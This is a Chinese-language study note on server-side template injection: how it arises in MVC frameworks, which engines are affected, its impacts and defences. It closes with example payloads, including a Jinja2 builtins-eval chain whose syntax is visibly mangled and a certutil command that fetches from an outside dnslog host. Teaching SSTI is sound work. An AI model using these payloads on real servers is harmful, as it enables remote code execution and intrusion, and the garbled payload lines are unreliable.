一.SSTI(服务器模板注入)的出现,框架漏洞
首先可以通过SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。有些框架一般都采用MVC的模式。
用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
MVC架构
M:mysql
V:VIEW
C:控制器
C:控制器——>M:mysql——>V:VIEW
SSSTI 之前没有的,但由于现在很多使用框架CMS,便捷功能,对模板进行编辑,用户控制,产生。
二.SSTI原理
服务端接收攻击者的恶意输入,没有进行处理将其作为web应用模块的一部分,然后模板引擎在进行渲染的时候,执行了攻击者的恶意代码,实现攻击者的目的。
存在于一些常见框架:
python框架: jinja2、mako、tornado、django
PHP 框架:smarty、twig
Java 框架 :jade、velocity,freemarker
SSTI其中格式
python和php都是{{}}
java:${ ex("calc") }//弹出计算机的一个payload
三.SSTI利用方式
常见的SSTI模块注入攻击:
1、代码执行:攻击者可以通过SSTI注入在服务器端执行任意代码,包括命令执行、远程文件包含等攻击。这可能导致服务器被完全控制,进一步导致数据泄漏、服务器崩溃或恶意操作。
2、敏感信息泄露:攻击者可以通过SSTI注入获取服务器上的敏感信息,如数据库连接字符串、API密钥等。这可能导致用户数据泄露、系统被入侵或身份盗窃等问题。
3、垂直和横向越权:通过SSTI注入,攻击者可能访问到非授权的数据或功能,实施垂直或横向越权行为。这可能导致用户权限被提升、重要数据被访问或其他合法用户遭受影响。
4、DoS攻击:攻击者可以通过SSTI注入导致服务器负载过高,从而拒绝服务,使网站或应用程序无法正常运行。
四.SSTI防御
(1)限制“编辑”访问,对所有人开放的模板很容易成为黑客的目标。因此,最好通过对模板文件应用访问规则来限制访问。防止模板被开发人员和管理员以外的任何人修改是至关重要的。此外,生产中使用的模板只能由负责服务器或应用程序的特定管理员访问,而不应由开发人员访问。这可以降低供应链攻击和内部威胁的风险。
(2)过滤输入,过滤可以显着降低 SSTI 攻击的风险。模板应检查所有预期输入是否存在破坏性元素。如果可能,该模板应使用白名单方法来仅允许用户期望的输入,并拒绝其他所有内容。一种常见的方法是使用正则表达式来创建允许的输入模式列表。虽然输入清理很重要,但它是有限的,攻击者有许多创造性的方法来规避它并创建符合允许模式的恶意输入。因此,该解决方案不能保证完全保护。
(3)沙盒,沙盒是一种比清理更安全的方法。这是一种预防措施,可为用户创建安全、隔离的环境。在这个环境中,没有危险的功能或模块,并且对其他数据的访问受到限制。这意味着如果发现漏洞或用户尝试攻击,损害是有限的。对模板进行沙箱处理是一种非常有效的措施,但实施起来却很困难。此外,攻击者可以利用错误配置或尝试提升权限以突破沙盒环境,从而避开沙盒。
(4)无逻辑模板,也许最安全的方法是使用无逻辑模板。这些是将代码解释与视觉表示完全分开的模板。无逻辑模板引擎的一个例子是 Mustache。无逻辑模板使用控制流语句来确保控件在默认情况下是数据驱动的,从而实现与应用程序逻辑的集成。在此设置中,远程代码执行的可能性变得非常小。
五.可能存在SSTI漏洞的情况
第一种:demo 环境 /login 和 /ssti
第二种demo_ceshi环境 /ssti?param={{4*4}}
python app.py
GET /ssti?username={{''._class_._base_._subclasses_()[128]._init_._globals_['builtins']'eval'}}
GET /ssti?username={{''.class.base.subclasses()[128].init.globals['builtins']'eval'}}
{{''._class_._base_._subclasses_()[128]._init_._globals_['builtins']'eval'}}
第三种后台编辑
certutil -urlcache -split -f http://rszhs5.dnslog.cn
总结:凡是使用模板的网站,基本都会存在SSTI,只是能否控制其传参而已,这里模板都可以通过工具扫描出来的,面试可能会问你一些实现过程,可以网上找相应靶场练习,熟悉熟悉。